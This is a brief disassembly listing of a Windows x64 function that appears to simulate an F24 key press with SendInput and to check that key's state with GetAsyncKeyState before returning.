mov qword [rbp - 0x28], rsi
mov ecx, r14d
mov qword [rbp - 0x38], r14
and bl, r14b
mov qword [rbp - 0x18], rsi
mov dword [rbp - 0x30], 0x87
mov r15d, 0x87
lea r8d, [r14 + 0x27]
mov qword [rbp - 0x20], rsi
mov dword [rbp - 0x2c], 2
call qword [sym.imp.USER32.dll_SendInput]
test di, di
je 0x140006e03
test bl, bl
je 0x140006e11
lea rcx, [rbp - 0x40]
mov qword [rbp - 0x40], r14
call fcn.1400125e4
mov qword [rbp - 0x30], r15
jmp 0x140006e1c
mov ecx, r15d
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x140006e3f
mov dword [rbp - 0x2c], 2
mov dword [rbp - 0x30], r15d
mov r8d, 0x28
mov qword [rbp - 0x38], r14
lea rdx, [rbp - 0x38]
mov qword [rbp - 0x28], rsi
mov ecx, r14d
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x20], rsi
call qword [sym.imp.USER32.dll_SendInput]
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.140063600
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret